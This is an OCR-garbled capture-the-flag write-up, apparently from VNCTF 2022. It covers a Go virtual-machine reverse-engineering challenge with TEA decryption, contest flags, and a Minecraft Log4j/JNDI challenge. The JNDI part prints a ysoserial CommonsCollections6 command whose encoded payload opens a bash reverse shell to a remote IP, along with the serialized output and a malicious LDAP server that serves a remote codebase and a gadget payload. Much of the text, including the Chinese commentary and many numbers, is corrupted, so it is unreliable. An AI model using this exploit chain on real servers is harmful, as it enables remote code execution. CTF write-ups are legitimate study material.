System.out.println(f);

VNCTF{93ee7688-f216-42cb-a5c2-191ff4e412ba}




° cm¥gy

XEBRvm+teadi%, ERENSHEHE, NIKBEMME, (£MidagolanghelperfERERFS K,

MR RERDERE, EEMNADIEHAIREL:
Inexplored External symbol

| IDA View-A || Pseudocode [£) Pseudocode-B || Pseudocode—A ||

227[ 3}

228| runtime_newobject();
229 *y18 = &unk_4BSFE@;
230| if ( dword 5B97D@ )

231| {

232 runtime_gcWriteBarrierCX(v22);
233 runtime_gcWriteBarrier();

234 1}

235| else

236 {

237 v18[1] = v22;

238 *((_QWORD *)v22 + 610) = v18;
239 }

240 runtime_newobject();

241 *v19)= main__ptr_MzVm_init_funcl9;
242 if ([duead:SBQJDe )

243| {

244 runtime_gcWriteBarrierCX(v22);
245 runtime_gcWriteBarrier();

246 }

247| else

248| {

249 v19[1] = (__int64 (__fastcall *)(__int64, _ int64))v22;
250 *((_QWORD *)v22 + 611) = v19;
251 }

252 runtime newobject():

253| resylt = v20;

254| *v2d = main__ptr_Msz_inﬂt_funcZO;
255/ if (| dword 5B97DO )

256| {

257 runtime_gcWriteBarrierCX(v22);

258 result = (_QWORD *)runtime_gcWriteBarrier();
259 3}

260| else

261 {

262 v20[1] = v22;

263 *((_QWORD *)v22 + 612) = v20;

264| 1}

265 return result;
266(}




FIBABRH DT MESRITER:
;mexplored = EXternal symbol

| IDA View—& Pseudocode [£) Pseudocode—B Pseudocode—h

227 3}

228| runtime_newobject();
229| *y18 = &unk 4BSFE@;
230| if ( dword 5B97D@ )

231 {

232 runtime_gcWriteBarrierCX(v22);
233 runtime_gcWriteBarrier();

234 1}

235| else

236 {

237 vi8[1] = v22;

238 *((_QWORD *)v22 + 610) = v18;
239 1}

240 runtime_newobject();

241 *v19)= main__ptr_MzVm_init_ funcl9;
242| if ([duendzsagzoe )

243| {

244 runtime_gcWriteBarrierCX(v22);
245 runtime_gcWriteBarrier();

246| 1}

247 else

248 {

249 v19[1] = (__int64 (__fastcall *)(__int64, _ int64))v22;
250 *((_QWORD *)v22 + 611) = v19;
251| }

252 runtime newobject():

253 resylt = v20;

254| *v2d = main__ptr_Msz_inﬂt_funcZO;
255/ if (| dword 5B97DO )

256| {

257 runtime_gcWriteBarrierCX(v22);
258 result = (_QWORD *)runtime_gcWriteBarrier();
259| 1}

260| else

261 {

262 v20[1] = v22;

263 *((_QWORD *)v22 + 612) = v20;
264| 1}

265 return result;

266}

—HRBANFEFRM0FXEIES, DITERFE—RRETHE,

SR G EopcodetRBY ST A A BN :



0,0,0,
0,0,0,

1,0,87,
98,0, 0,
1,0,101,
98,0, 0,
1,0,108,
98,0, 0,
1,0,99,
98,0, 0,
1,0,111,
98,0, 0,
1,0,109,
98,9, 0,
1,0,101,
98,0, 0,
1,0,32,
98,0, 0,
1,0,116,
98,9, 0,
1,0,111,
98,0, 0,
1,0,32,
98,0, 0,
1,0, 86,
98,0, 0,
1,0,78,
98,9, 0,
1,0,67,
98,0, 0,
1,0, 84,
98,0, 0,
1,0,70,
98,9, 0,
1,0, 50,
98,9, 0,
1,0, 48,
98,0, 0,
1,0, 50,
98,0, 0,
1,9, 50,
98,0, 0,
1,0,33,
98,0, 0,
1,0,10,
98,0, 0,




1,0,105,

98,0,0,

1,0,110,

98,0,0,

1,0,112,

98,0,0,

1,0,117,

98,0,0,

1,0,116,

98,0,0,

1,0,32,

98,0,0,

1,0,102,

98,0,0,

1,0,108,

98,0,0,

1,0,97,

98,0,0,

1,0,103,

98,0,0,

1,0, 58,

98,0,0,

1,0,10,

98,0,0, /] BHEXIES ISR, #FTREREEA

1, 19, 73, // mov r19 73  BkEEEI73+21T rl192BkE=1Ees

1, 3, 9, // mov r3 © FAsRISEL R %

1, 1, 43, // mov r1 43 FEHRRE43R == flagkE

1, 2, 1, // mov r2 1  BRFEEIXEBHTF—1T

97, 0, O, //getchar r0 EEXAFHA

5,0, 9, // push re JEHNEH
1, // sub r1 r2(1) BB

14, 1, 3, //jne r1, r3 Bt

1, 0, 9, // re =0

5, 8, 8, // Zpush—10, 447 bytef 11 71int

09,0,0, /] REflaghyidis EEHAtea®iA

0,0,0, [111111111171111111150/F [r6]

6, 0, 0, // pop r@ /] EENMKREFIAEN TR

1, 5, 256, // movl r5, 256 // 2K98%7, BFREBUZIZE

106, @, 5, // mul r@, r5 // r@=r@*x256 -> << 8

// mov2 r6, r@ // ré6=r@

// pop r@ /] BEANMKEE K

// add r6, r@ /] PEZEIEY

// mov2 r@, ré6

// mul r@, r5

// mov2 r6, ro@ /] BRUBEREIre

// pop r@

// add r6, r@

N o =2 NN oDN




/1
/1
/1
/1

/

/1
/1
/1
/1
/1
/1
/1
/1
/1
/1

mov2 r@, r6

mul r@, rS5

mov2 ré6, ro /] BRUBEREIre

pop r@

/ add r6, re /] XEHEr6NiZHMERESFNT
[11111117771111111158F r7

pop ro /] BEENMKREFIAEN TR

mov1 r5, 256 // 2898)R7, AFHREB(IZEE

mul r@, r5 // r@=r@*x256 -> << 8

mov2 r7, r@ // ré6=r@

pop r@ /] BEAMKER L

add r7, re // INLEZEIRY

mov2 r@, r7

mul r@, r5

mov2 r7, r@ /! BRAUBEREIre

pop r@

// add r7, r@

// mov2 r@, r7

// mul re@,

// mov2 r7, r@ /] BIRAIRBEREIre

// pop r@

// add r7, r@ /] EHEr6 NIz R ST T

/1
//
//
/1
/1

[I11111171111111111980R&E  r8
pop r@ /] BN MKEFIRER R
movl r5, 256 // 2898K7A, BTFARBUEEE
mul r@, r5 // r@=r@*256 -> << 8
mov2 r8, r@ // ré=r@
pop r@ /] BEAMKREEULE R

// add r8, ro // ILEZAIM

// mov2 r@, r8

// mul r@, r5

// mov2 r8, ro@ /] BRUBEREIr6

/1

pop r@

// add r8,
// mov2 r@, r8
// mul re@,
// mov2 r8, r@ /1 BIRIRBEREIre
// pop r@
// add r8, r@ /] EHEr6 NIz B EFNT

/1
/1
/1
/1
/1

[11111171111111111115@7&  r9
pop r@ /1 BN MKREFFIRER R
mov1l r5, 256 // 2898K7A, ATFRBUEEE
mul r@, r5 // ré=r@*256 -> << 8
mov2 r9, r@ // ré6=r@
pop r@ /] BEAMKEREUL

// add r9, re // DNt ZAIRS
// mov2 r@, r9




- ® -
o = © =
o O -

® - - -
o = o© =
o O - o -

0 =) o© =
o~

® -
A ©® -~

—_ -

®© = ©® =

- o -
—_— o -

1
2
6
7
2
1
2
6
7
0
6
1
1
2
6
7
2
1
2
6
7
2
1
2,
6
7
0
6
1
1
2
6
7
2
1
2
6
7
2
1
2
6
7
0
6
1
1

// mul r@, r5
// mov2 r9, ro /] BIRIRBEREIr6
// pop r@
// add r9, r@
// mov2 r@, r9
// mul r@, r5
// mov2 r9, r@ /] BRUBEREIr6
// pop r@
// add r9, r@ /] XEHEr6NZMERETFNT
[I111111117111111115R7 ri1e
// pop re /] BEAMKREFIRELF
// movl r5, 256 // 288K}, BFREBUBZE
// mul r@, r5 // r@=r@*256 -> << 8
// mov2 r9, ro // r6=r0
// pop r@ /1 FEEAMKRERHL R
// add r9, re // tnEZEIM
// mov2 r@, r9
// mul r@, r5
// mov2 r9, ro /] BIRIRBEREIr6
// pop r@
// add r9, r@
// mov2 r@, r9
// mul r@, r5
// mov2 r9, r@ /1 BRUBEREIre
// pop r@
// add r9, ro /] ZXEHRr6RIZMEESITINT
[111111171771111117195RFE ri11
// pop r@ /] BEAMKREFIREEFR
// mov1l r5, 256  // 2K98%7, BFREBUZIEZE
// mul r@, r5 // r@=r@*256 -> << 8
// mov2 r9, ro // ré6=r@
// pop r@ /] AN MKRERHE R
// add r9, re // tnkZEIM
// mov2 r@, r9
// mul r@, r5
// mov2 r9, r@ /] BIRIRBEREIr6
// pop r@
// add r9, r@
// mov2 r@, r9
// mul r@, r5
// mov2 r9, r@ /1 BRUBEREIre
// pop r@
// add r9, re@ /] XEHMEr6RIZMEE S TN T
[111111171777111111980RF&F ri12
// pop r@ /] BEAMKREFIRELF
// mov1l r5, 256  // 2K98%7, BFREBURIEZE
// mul r@, r5 // r@=r@*256 -> << 8




// mov2 r9, ro // ré=r@
// pop r@ /] BEANMKEE R

// add r9, re /] PNEZEIEY

// mov2 r@, r9
// mul r@, r5

// mov2 r9, ro /] BIRAIRBEREIre
// pop r@

// add r9, r@

// mov2 r@, r9
// mul r@, r5

// mov2 r9, ro /] BIRIRBEREIr6
// pop r@

// add r9, re /] EHEr6 NIz R EFNT

[1111171717117711111980RF&F  r13

// pop r@ /1 FEEANMKREFIRENE R
// mov1 r5, 256 // 2898%7, BFRBUBEE
// mul r@, r5 // r@=r@*256 -> << 8
// mov2 r9, re // ré=r@
// pop r@ /1 BEANMKREEL R

// add r9, re /] PNEZBIEY

// mov2 r@, r9
// mul r@, r5

// mov2 r9, ro /] BIRAIBEREIre
// pop r@

// add r9, re

// mov2 r@, r9
// mul r@, r5

// mov2 r9, ro /] BIRAIRBEREIré
// pop r@

// add r9, re /] XEHEr6NiZHMEREFNT

[I11111171777111111587F  ri14

// pop r@ /] FEEANMKREFIRENE R
// movl r5, 256 /1 2098 k7, ATFRBURIEE
// mul r@, r5 // r@=r0x256 -> << 8
// mov2 r9, ro // ré6=r@
// pop re /] BEAMKER L

// add r9, r@ // 0t ZAEig

// mov2 r@, r9
// mul r@, r5

// mov2 r9, ro@ /! BRUBEREIre
// pop r@

// add r9, re

// mov2 r@, r9
// mul r@, r5

// mov2 r9, ro /] BIRAIRBEREIre
// pop r@

// add r9, re /] REHERreNiZMERESFNT




[111111711111111111158@7&  ri15
// pop r@ /] BEAMKREF IR R
// movl r5, 256 // 2M98)%AH, AFREBUBZTE
// mul r@, r5 // ré=r@*256 -> << 8
// mov2 r9, r@ // r6=r@
// pop r@ /] RN MAKREE L
// add r9, re /] PLEZEIEY
// mov2 r@, r9
// mul r@, r5
// mov2 r9, r@ /1 BRUBEREIre
// pop r@
// add r9, r@
// mov2 r@, r9
// mul r@, r5
// mov2 r9, ro@ /] BRAUBEREIr6
// pop r@
// add r9, re /] EEHEr6 NIz B EFNT
[111111171171111111 207 ri16 &E—T
// pop r@ /] BEAMKREFFIRENL R
, // movl r5, 256 // 2M98R7E, BTFRBUBEE
// mul r@, r5 // r@=r@*256 -> << 8
// mov2 r9, ro // r6=r@
// pop r@ /] RBEAMKREE LR
// add r9, re // hnEZEIM
// mov2 r@, r9
// mul r@, r5
// mov2 r9, r@ /1 BRUBEREIre
// pop r@
// add r9, r@
// mov2 r@, r9
// mul r@, r5
// mov2 r9, ro@ /] BRUBEREIre
// pop r@
// add r9, r@ /] XEHMEr16IZMEESIFNT
[101111777777111111 0507 REEEAN Tuint32 B (IEE8EE
// push ré6 - ri16
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// pop ri FHGINZAFOLE

6, 2, 9, // pop r2 BAr1, r2 A2 E0RAINE

1, 20, 284, // mov1l r20, REE [] REZIXEEESR

1, 9, 340, // movl r@, tea []

12, 0, O, // jmp r@(tea) EREE

1, @, 3906065887, //mov1 r@,3906065887 /] STEEZER
1, 19, 387, // movl r19, [] 4$5iR¥EAOME

1, 20, 339, // movl r20, [] REHE, HigE

14, 1, O, // jne r1, r@ // R, FEMEIERBEL

1, 0, 4125344020,

14, 2, 0, // jne r2, r@ // tEE, AEFMEIEIRH L

6, 1, 0, // pop ri BRI
LR

6, 2, 0, /] pop r2 BAr1, r2 8RR M

1, 20, 295, // mov1 r20, R[EhE []

1, 0, 340, // movl r@, tea []

12, 0, O, // jmp r@(tea) AR

1, @, 579781142, //mov1 r@, 579781142 /] IFEELE

1, 19, 387, // movl r19, [] iR AOHBLE

1, 20, 339, // movl r20, [] IRElshE, BIELE

14, 1, O, // jne r1, r@ // L&, FEMIERKL

1, 0, 2312395361,

14, 2, O, // jne r2, r@ // R, FEMEIERBEL

6, 1, 0, // pop r1 EREIE
FEEER

6, 2, O, // pop r2 BAr1, r2 A2 E0RARINE

1, 20, 306, // mov1 r20, R[EE []

1, 0, 340, // movl r@, tea []

12, @, O, // jmp r@(tea) AREE

1, 0, 1700499305, //mov1 r@, 1700499305 /] SSLELER
1, 19, 387, // movl r19, [1 HiREAOHELE

1, 20, 339, // movl r20, [] iREshE, B

14, 1, O, // jne r1, r@ // tE®, AEMEIEIRHD

1, 0, 612671610,

14, 2, O, // jne r2, r@ // tER, FEAMIERKL

6, 1, 0, // pop r1 AN
LR

6, 2, O, // pop r2 BAr1, r2 A2 E0RAINE

1, 20, 317, // mov1l r20, iREE []

1, 0, 340, // movl r@, tea []

12, 0, O, // jmp r@(tea) EARE

1, 8, 3655723000, //mov1 r@,3655723000 /] STEEER
1, 19, 387, // movl r19, [] 4$HiR¥EAIMNE

1, 20, 339, // mov1l r20, [] REHsHE, BEIZLE

14, 1, O, // jne r1, ro // bR, AEMEIERELD

1, 0, 977540402,




14, 2, 0, jne r2, ro // tbRR, FAEFMEIE IR L

6, 1, 0, // pop ri E I
FEEER

6, 2, 0O, // pop r2 BAr1, r2 2 E0RBINE

1, 20, 328, // mov1 r20, R[EhE []

1, 0, 340, // movl r@, tea []

12, 0, O, // jmp r@(tea) IEARE

1, @, 2443935368, //mov1 r@,2443935368 /] SR

1, 19, 387, // mov1l r19, [] ERELAIHELE

1, 20, 339, // mov1l r20, [] REMsLE, BRERER

14, 1, O, // jne r1, r@ // tE8&, FEMIERAL

1, 0, 1778148540,

14, 2, O, // jne r2, ro // LR, TEAMEERHL

6, 1, 0, // pop r1 // &wE—"1int

1, 0, 8206181, BE— 1 intHELER

14, 1, O, // jne r1, r@ // tE®, FEAMIERAL EEPLER
SeEE IEfA

1, 0, 393, // movl @, [] IEF#%IAAYMEIE

12,0,0, // calllERBiNERER

99,0, 0, /] ZER

1, 3, 2654435769, // movl r3 @x9e3779b9 2654435769 // delta /] tealRERYFT

i

613452, // movl r4 613452 // k@

34589, // movl r5 34589 // ki

108471, // movl r6 188471 // k2

1230791, // mov1l r7 1230791 // k3

0, // movl r8 © // sum
// movl r17 16 /] ®E16 HRBTFAB4
// movl r18 32 /] B832 RBTIB5

// mov r19 [] BkEEE (1 17 r192MESE:S

1
1
1
1
1
1
1
1

// mov r10 8 FASRSFEEIRE
// mov r11 32 {EIR¥B2)R IR
// mov r12 1  BKFEEIXENT—1T
// add r8, r3 // sum += delta
// mov2 r@, r2 /] vi
// mul r@, ri17 // v1<<4
// add r@, r4 [/ ((v1<<4)+k0)
// mov2 r14, r@ // r14 = ((v1<<4)+k0)
// mov2 r@, r2 // v
// add r@, r8 // vi+sum
// mov2 r15, r@ // r15 = (v1+sum)
// mov2 r@, r2 // V1
// div r@, r18 // vl >> 5
// add r@, r5 // (v1>>5)+kT
// mov2 r16, r@ // r16 = (v1>>5)+k1
// mov2 r@, ril4

< ® -

N N N O NN DN N 2NN 2 -




11, @, 15,
16,

_ -~

N N = = NN N O NN NDNDDND N =2 N ok

okt -
I
N

(0]
=

1, 12,
14, 11, 10,
12, 20, 0,
0,0,0,

1, 8, 110,
98, 9, O,

1, @, 111,
98, 0, 0,

12, 20, 0,
0,0,0,

1, 9, 121,
98, 0, O,

1, @, 101,
98,0,0,

1, @, 115,
98, 0, 0,

12, 20, 0,

// xor r@, ri15
// xor r@, ri16
// add r1, r@

// mov2 r@, ri

// mul r@, ri17
// add r@, ré6

// mov2 rl14, ro@
// mov2 r@, ri
// add r@, r8
// mov2 ri15, ro@
// mov2 r@, ri
// div r@, r18
// add r@, r7
// mov2 rl16, r@
// mov2 r@, ril14
// xor r@, ri15
// xor r@, ri16
// add r2, r@

[/ ((vi<<4)+k@)A(vi+sum)”((v1>>5)+k1)
[/ vO+=((v1<<4)+k@)A(v1+sum)A((v1>>5)+k1)

// vo
// vB<<4
// ((vB<<4)+k2)
// r14 = ((vB<<4)+k2)
// v@
// v@+sum

// r15 = (v@+sum)

// v@

// v@ >> 5

// (vB>>5)+k3

// r16 = (vB>>5)+k3

// ((vB<<4)+k2)*(v@+sum)”((vB>>5)+k3)
// v1+=((vB<<4)+k2)*(vO+sum)*((v0>>5)+k3)

// sub r11 r12(1) fEFE

//jne r11, r1e@
// jmp r20

/1 EEIRE R EL

// jmp r20

/1 IEBEE I AYRRER

// jmp r20

7429
BRI EGR ]

/1] %1

/] %

BRIV AR IR R AR

void decrypt(unsigned int* v,unsigned int* k){

unsigned int vO@=v[@],vi=v[1], sum= ,1;

unsigned int delta= )




unsigned int kO=k[0],k1=k[1],k2=k[2], k3=k[

for(i=0;i<32;i++){

v1-=((vO<<4)+k2) A (vO+sum)A((v0>>5)+k3);
vO-=((v1<<4)+k@)*(vi+sum)A((v1>>5)+k1);
sum-=delta;

}

v[e]=ve;

vi1]=v1;

flag: VNCTF{ecd63ae5-8945-4ac4-b5a5-34fc3ade8leT}

I Misc
o (FLRIRIX

import sys

from PIL import Image
img=Image.open(sys.argv[1])

img = img.resize((79, ), Image.NEAREST)

img.save(sys.argv([2])

* Minecraft

BEOW
XEFERZlogs MRS 23,
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8 Minecraft 1.12.1

AR 45 22 b 4t

101.34.177.3

| AR T2

HliH

REAKAT8u261, HARF/ZTomcat EMAEEERATR—IER,
ESRATjndiZEANBERMET AR

o FFZAUClass{EIReference Factory



o FFALDAPREIF IR, Al&AHGadget
EARmMcARSSES, KB Tomcat, spring, FEE—MTEER, 235,
LERE B commons-collections-3.2.1.jar , B AjndifT At ;B 3I1E .

[RIE https://www.milk7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E 9%AB%98%E4%BDY%8E%E7%89%88JDK%E
4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%ET7%BB%95%E8%BF%87/#%E5%88%A9%E7%94
%A8LDAPY%E8%BF%94%E5%9B%9E%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%EF%BC%8C%
E8%AT%A6%E5%8F%91%E6%9C%ACY%E5%IC%B0Gadget

(5 EIBUKE:
Fyso*E iR SshellB 5L 403

java -jar ysoserial.jar CommonsCollections6é "bash -c
{echo, YmFzaCA3LjM1LzEXNDUxIDA+JjE=}| {base64,-d}|{bash,-i}" |base64 -w O

[root@VM-4-10-centos javaexpl# java -jar ysoserial.jar CommonsCollectionsé "bash -c {echo,YmFzaCA3LjM1LzExXNDUXIDA+JjE=}|{base64, -d}|{bash, -i}"|base64 -w 0
rOO0ABXNyABFqYXZhLnVOaWwuSGFzaFN1dLpEhZWWULcOAWAAeHB3DAAAAAI/QAAAAAAAAXNYADRvcemcuYXBhY2h1LmNvbW1lvbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGL1ZE1hcEVUdHI5iq3SmznBHISCAAIMAANrZX10ABIMamF2YS9sYW
5nL09iamVjdDtMAANtYXBOAA9MamF2YS91dGlsLO1lhcDt4cHQAA2Zvb3NyACpvemcuYXBhY2hlLmNvbWlvbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUWAB2ZhY3Rvcn1OACXMb3InL2FwYWN0oZS9jb21th25ZzL 2NvbGx1
Y3Rpb25zL 1Ry YW52Zm9ybWVy03hwc3IAOmIyZy5hcGFjaGUuY29tbWIucy5jb2xsZWNoawWducy5mdW5jdG9ycy5DaGFpbmVkVHIhbnNmb3J tZX Iwx5fsKHqXBAIAAVSADWlUcmFuc2ZvemllcnNOAC1bTG9yZy9hcGFjaGUvY29tbWoucy9jb2
xSZWNOaW9ucy9UcmFuc2Zvcmllcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbWOucy5jb2xsZWNOaWducy5UcmFuc2Zvemllcju9Virx2DQYmQIAAHhWAAAABXNyADtvemcuYXBhY2h1lLmNvbWlvbnMuY29sbGVjdGlvbnMuZnVuY3RvenMuQ29u
c3RhbnRUcmFuc2Zvcemllclh2kBFBArGUAGABTAAJaUNVbnNOYW50cQB+AAN4cHZYyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBZcgA6b3InLmFWYWNOZS5jb21th25zLmNvbGx1Y3Rpb25zLmZ1bmNOb3JzLkludm9rzXUcmFuc2
Zvcmllcofo/2t7fM44AgADWWAFaUFyZ3NOABNb TGphdmEVbGFUZy9PYmplY3Q7 TAALaU1ldGhvZEShbWVOABIMamF2YS9sYW5nNLINOcmluZztbAAtpUGFyYW1UeXB1lc3QAELtMamF2YS9sYW5NLONSYXNZO3hwdXIAE1tMamF2YS5sYW5nLk91i
amVjdDuQzlifEHMpbATAAHhWAAAAANQACMAldFJ1bnRpbWV1cgASWOXqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAABOAATNZXRNZXRob2R1cQB+ABSAAAACANIAEGphdmEubGFuUZy5TdHIpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3
EAfgATAXEAfgAYAAAAANBLcQB+ABgAAAAAdAAGaW52b2t1dXEATgADAAAAANZYABBqYXZhLmxhbmcuT2]qZWNOAAAAAAAAAAAAAAB4CHZXAH4AGHNXAH4AE3VyABNbTGphdmEUbGFUZy5TdHIpbmc7 rdJW5+kde@cCAAB4cAAAAAFOAEFiYXNo
IC1jIHt1Y2hvLF1tRNphQOEZTGpNMUX6RXhORFV4SURBKOPQRT19fHtiYXNTIN]QSLWROfHtiYXNoLC1lpfXQABGV4ZWN1cQB+ABSAAAABCQB+ACBZzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOATAAUKABXZhbHV1eHIAEGphdm
EubGFuUZy50dW1iZXKGrlUdC5TgiwIAAHhwAAAAAXNYABFqYXZhLnVOaWwuSGFzaElhcAUH2sHDFmDRAWACRgAKbGOhZEZhY3RvckkACXRocmVzaG9sZHhwPOAAAAAAAAB3CAAAABAAAAAAeHh4 [root@VM-4-10-centos javaexpl#

aF s O
I EHEE HEexph

import .unboundid.ldap.listener.InMemoryDirectoryServer;

import .unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import .unboundid.ldap.listener.InMemorylListenerConfig;

import .unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import .unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import .unboundid.ldap.sdk.Entry;

import .unboundid.ldap.sdk.LDAPException;

import .unboundid.ldap.sdk.LDAPResult;

import .unboundid.ldap.sdk.ResultCode;

import .unboundid.util.Base64;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

import java.net.MalformedURLException;
import java.net.URL;



https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/%23%E5%88%A9%E7%94%A8LDAP%E8%BF%94%E5%9B%9E%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%EF%BC%8C%E8%A7%A6%E5%8F%91%E6%9C%AC%E5%9C%B0Gadget

import java.text.ParseException;

public class LDAPbypass {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {

String url = "http://127.6.0.1:8000/#EvilObject";
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new

InMemoryDirectoryServerConfig(LDAP_BASE) ;
config.setlListenerConfigs(new InMemorylListenerConfig(

"listen",
InetAddress.getByName("0.0.06.0"),
port,
ServerSocketFactory.getDefault(),

SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor (new

URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

System.out.println("Listening on 0.0.06.0:" + port);

ds.startlListening();

}

catch ( Exception e ) {
e.printStackTrace();

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

*
*/
public OperationInterceptor ( URL cb ) {

this.codebase = cb;




[ *%*

* {@inheritDoc}

*

* @see
com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult
(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)

*/

public void processSearchResult ( InMemoryInterceptedSearchResult result )
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception el ) {
el.printStackTrace();

protected void sendResult ( InMemoryInterceptedSearchResult result, String base,
Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.",
"/').concat(".class"));

System.out.println("Send LDAP reference result for " + base + " redirecting
to " + turl);
e.addAttribute("javaClassName", "Exploit");

String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#"');
if ( refPos > 0 ) {

cbstring = cbstring.substring(@, refPos);

// Payload1: FJFLDAP+Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: iR[E|FF%IftGadget
try {




e.addAttribute("javaSerializedData",
Base64 .decode (" rO0ABXNyABFqYXZhLnV@aWwuSGFzaFN1dLpEhZWWuLcOAwAAeHB3DAAAAAT /QAAAAAAAAXNYA
DRvemcuYXBhY2h1LmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVG11ZET1hcEVudHJ51q3SmznBHISCAAJMA
ANrZX10ABJMamF2YS9sYW5nLB9iamVjdDtMAANtYXBOAAIMamF2YS91dGlsL®1hcDt4cHQAA2Zvb3NyACpvemcuY
XBhY2h1LmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhen1NYXBu5ZSCnnkQl1AMAAUWAB2ZhY3Rvcn1BACxMb3JnL
2FWYWNoZS9jb21tb25zL2NvbGx1Y3Rpb25zL1RyYW5zZm9ybWVy03hwc3IAOm9yZy5hcGF jaGUuY29tbW9ucy5jb
2xsZWNB@aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5f sKHGXBAIAAVsADW1UcmFuc2Zvcem11lcnNeA
C1bTG9yZy9hcGF jaGUvY29tbWucy9jb2xsZWNBaW9ucy9UcmFuc2Zvem1lcjt4cHVYACT1bTG9yZy5hcGF jaGUuY
29tbW9ucy5jb2xsZWNeaW9ucySUcmFuc2Zvem11lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcemcuYXBhY2h1LmNvb
W1vbnMuY29sbGVjdGlvbnMuZnVuY3RvenMuQ29uc3RhbnRUcmFuc2Zvem1lc1lh2kBFBArGUAgABTAAJaUNvbnNeOY
W50cQB+AAN4cHZYyABFgYXZhLmxhbmcuUnVudG1tZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFWYWNoZS5jb21th25zL
mNvbGx1Y3Rpb25zLmZ1bmNBb3JzLkludm9rZXJUcmFuc2Zvcmllcofo/2t7fM44AgADWWAFaUFyZ3NOABNbTGphd
mEVbGFuZy9PYmplY3Q7TAALaU11dGhvZE5hbWVBABJMamF2YS9sYW5nL1NOcmluZztbAAtpUGFyYW1UeXB1c3QAE
1tMamF2YS9sYW5nLBNsYXNzO3hwdXTIAET1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbATAAHhwAAAAANQACMd1d
FJ1bnRpbWV1cgASWOxqYXZhLmxhbmcuQ2xhc3M7gxbXrsvNWpkCAAB4cAAAAABOAALINZXRNZXRob2R1cQB+ABsAA
AACdAnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEATfgAbc3EATgATAXEATgAYAAAAANBTcQB+ABgAA
AAAdAAGaW52b2t1dXEATgAbAAAAANZYABBQqYXZhLmxhbmcuT2JqZWNOAAAAAAAAAAAAAABACHZ XAHAAGHNXAH4AE
3VyABNbTGphdmEubGFuzZy5TdHJpbmc7rdJW5+kde@cCAAB4cAAAAAFBAGFiYXNoIC1jIHt1Y2hvLF1tRnphQOF@Y
VNBK@OppQXZaR1YyTDNSamNDOHhNREV1TXpRdU1UYzNMak@xTHpFeE5EVXhJREE rSmpFPX18e2Jhc2U2NCwtZH18e
2Jhc2gsLW19dAAEZXh1Y3VxAHAAGWAAAAFXAH4ATHNXAH4AD3NyABFqYXZhLmxhbmcuSW56ZWd1chLioKT3gYc4A
gABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJ1coas1ROL10CLAgGAAeHAAAAABC3IAEWphdmEudXRpbCS5IYXNoT
WFwBQfawcMWYNEDAAJGAApsb2FkRmF jdG9ySQAJdGhyZXNob2xkeHA /QAAAAAAAAHCTIAAAAEAAAAAB4eHg=")) ;
// e.addAttribute("javaSerializedData",
Base64 .decode (" rO0ABXNyABFqYXZhLnV@aWwuSGFzaFN1dLpEhZWWuLcOAwAAeHB3DAAAAAT /QAAAAAAAAXNYA
DRvcmcuYXBhY2h1LmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVG11ZET1hcEVudHJ5193SmznBH9sCAAJMA
ANrZX10ABJMamF2YS9sYW5nL@9iamVjdDtMAANtYXBOAA9MamF2YS91dGlsL@1hcDt4cHQAA2Zvb3NyACpvemecuY
XBhY2h1LmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhen1NYXBu5ZSCnnkQl1AMAAUWAB2ZhY3Rvcn1BACxMb3JnL
2FWYWNoZS9jb21tb25zL2NvbGx1Y3Rpb25zL1RYyYW5zZm9ybWVy03hwc3IAOmM9yZy5hcGF jaGUuY29tbWOucy5jb
2xsZWN@aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5f sKHgXBAIAAVsADW1UcmFuc2Zvcm11cnNBA
C1bTG9yZy9hcGF jaGUvY29tbW9ucy9jb2xsZWNBaW9ucy9UcmFuc2Zvem1lcjt4cHVYACT1bTG9yZy5hcGF jaGUuY
